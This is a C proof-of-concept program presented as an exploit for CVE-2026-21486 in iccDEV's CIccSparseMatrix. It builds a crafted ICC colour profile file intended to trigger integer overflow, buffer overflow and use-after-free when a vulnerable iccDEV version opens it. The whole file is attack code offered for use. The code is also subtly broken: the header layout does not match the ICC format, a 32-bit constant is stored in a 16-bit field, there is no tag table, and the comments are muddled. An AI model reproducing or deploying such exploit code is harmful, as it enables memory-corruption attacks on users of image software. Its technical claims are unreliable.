// PoC for CVE-2026-21486 - iccDEV CIccSparseMatrix Memory Corruption
// This PoC creates a malicious ICC profile that triggers the vulnerability
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ICC Profile Header structure
typedef struct {
uint32_t size;
uint8_t signature[4]; // 'acsp'
uint32_t reserved;
uint8_t color_space[4];
uint8_t pcs[4];
uint16_t version;
uint16_t profile_class;
uint32_t datetime[3];
uint8_t magic[4];
uint32_t platform;
uint32_t flags;
uint32_t manufacturer;
uint32_t model;
int64_t attributes;
uint32_t rendering_intent;
uint32_t illuminant[2];
uint32_t creator;
uint32_t profile_id[4];
uint8_t reserved2[28];
} ICC_HEADER;
// Malicious tag data to trigger CIccSparseMatrix vulnerability
unsigned char malicious_sparse_matrix_tag[] = {
// Tag type signature for sparse matrix
0x6D, 0x61, 0x74, 0x66, // 'matf' - sparse matrix type
0x00, 0x00, 0x00, 0x00, // Reserved
// Sparse matrix header with crafted values
0xFF, 0xFF, 0xFF, 0xFF, // Integer overflow trigger (rows = -1)
0x00, 0x00, 0x10, 0x00, // Columns = 4096
0x00, 0x00, 0x00, 0x00, // flags
// Crafted sparse matrix data to trigger buffer overflow
0x00, 0x00, 0x00, 0x10, // Large value for array size
0xFF, 0xFF, 0xFF, 0xFF, // Negative offset for use-after-free
0x41, 0x41, 0x41, 0x41 // Padding/overflow data
};
int create_malicious_icc_profile(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) return -1;
ICC_HEADER header = {0};
header.size = 128 + sizeof(malicious_sparse_matrix_tag);
memcpy(header.signature, "acsp", 4);
header.version = 0x04000000;
memcpy(header.magic, "\x00\x00\x00\x00", 4);
fwrite(&header, sizeof(ICC_HEADER), 1, fp);
fwrite(malicious_sparse_matrix_tag, sizeof(malicious_sparse_matrix_tag), 1, fp);
fclose(fp);
return 0;
}
int main() {
printf("CVE-2026-21486 PoC - iccDEV CIccSparseMatrix\n");
printf("Generating malicious ICC profile...\n");
if (create_malicious_icc_profile("malicious_profile.icc") == 0) {
printf("Malicious ICC profile created: malicious_profile.icc\n");
printf("Open with vulnerable iccDEV version to trigger vulnerability\n");
}
return 0;
}